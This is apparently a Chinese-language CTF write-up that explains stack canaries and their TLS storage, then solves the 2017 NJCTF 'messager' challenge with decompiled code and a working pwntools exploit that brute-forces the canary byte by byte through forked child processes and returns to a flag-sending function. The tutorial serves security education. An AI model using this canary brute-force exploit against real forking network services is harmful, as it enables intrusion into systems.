Canary_attack

Stack Canaries 前置知识

原理

Stack canaries(取名自地下煤矿地金丝雀,因为它能提前发现煤气泄漏,有预警的作用)。用于对抗栈溢出攻击,即SSP安全机制,也叫Stack Cookie。Canary是栈上的一个随机数(大小与程序位数一样),当栈溢出攻击从低地址向高地址覆盖意图控制函数的返回指针时,就一定会先覆盖到Canary,这样程序只需在函数返回前检查Canary是否被篡改即可达到保护目的。

Canary通常分三类:

  • Terminator canaries:低位设置为"\x00",一定程度上防止字符串操作溢出泄露canary
  • Random canaries:程序初始化时随机生成一个值作为canary
  • Random XOR canarie:上面的random多个XOR操作,无论时canary还是XOR的数据被篡改都会报错

Linux下的TLS及canary

fs寄存器一般用于指向TLS,TLS的结构体tcbhead_t(64位)中偏移0x28正指向stack_guard,一般检测栈溢出的过程就是,程序加载时glibc先初始化TLS,包括为其分配内存及设置fs寄存器指向TLS(这一部分由系统调用arch_prcl完成),然后调用security_init()函数生成Canary的值stack_chk_guard,并放入fs:0x28,检测的时候对比这个值是否发生变化。

攻击Canarie

核心思路就是避免程序崩溃抛错,有两种方式:

  • 将canaries的值泄露出来,栈溢出的时候覆盖上去使其保持不变(PS:Canaries的值一般在存放返回函数地址之前的8/4个字节上
  • 同时篡改TLS和栈上的Canaries

实例一:2017 NJCTF messager

查看基本信息

1

程序有个地方打开了flag文件,存放到一个变量中,查看交叉引用又找到了回送flag的函数(溢出返回的地址get)

23

自己写一个flag文件,修改一下messager的权限,打本地。

4

再看看主函数的一个循环

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
while ( 1 )
{
fd = accept(dword_602140, &stru_602130, &addr_len); //每当收到连接时
if ( fd == -1 ) // 就创建子进程
{
perror("accept");
return 0xFFFFFFFFLL;
}
send(fd, "Welcome!\n", 9uLL, 0);
v5 = fork();
if ( v5 == -1 )
{
perror("fork");
return 0xFFFFFFFFLL;
}
if ( !v5 ) //然后退出循环
break;
close(fd);
}

知识补充

当一个进程调用fork()复刻子进程时,系统会给子进程分配资源,并将父进程的所有值复制到子进程中,相当于克隆父进程。父进程中调用fork()返回子进程的pid,而子进程中调用fork()时返回值是0,失败则返回负值。

一般来说canarie的值是没法直接爆破的,一是因为canarie的值范围大,二是因为爆破导致程序崩溃重启后的Canarie值可能又会重新随机生成。但是同一个进程包括复刻的子进程里的Canaries是不变的,而子进程的崩溃也不会影响父进程,这就有了可乘之机。

溢出点在函数sub_400Be9()中,向0x64大小的变量存放至多0x400大小的数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
__int64 sub_400BE9()
{
__int64 result; // rax
char s[104]; // [rsp+10h] [rbp-70h] BYREF
unsigned __int64 v2; // [rsp+78h] [rbp-8h]

v2 = __readfsqword(0x28u);
printf("csfd = %d\n", (unsigned int)fd);
bzero(s, 0x64uLL);
if ( (unsigned int)recv(fd, s, 0x400uLL, 0) == -1 )
{
perror("recv");
result = 0xFFFFFFFFLL;
}
else
{
printf("Message come: %s", s);
fflush(stdout);
result = 0LL;
}
return result;
}

综合分析下来exp就出来了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *

def leak_canary():
global canary
canary = "\x00" # canarie值低位字节固定不变
while len(canary) < 8:
for x in xrange(256):
io = remote("127.0.0.1", 5555) # 发起连接
io.recv() # 接收"Welcome!\n"

io.send("A"*104 + canary + chr(x))
try:
io.recv() # 接收"Message received!\n"
canary += chr(x) # 逐字节进行爆破,若程序没崩溃则说明这个字节正确,退出for循环爆破下一字节
break
except:
continue
finally:
io.close()
log.info("canary: 0x%s" % canary.encode('hex')) # 打印正确的canaries

def pwn():
io = remote("127.0.0.1", 5555)
io.recv()

io.send("A"*104 + canary + "A"*8 + p64(0x400bc6))
print io.recvline()

if __name__=='__main__':
leak_canary()
pwn()

参考资料

《CTF竞赛权威指南(PWN篇)》

Comments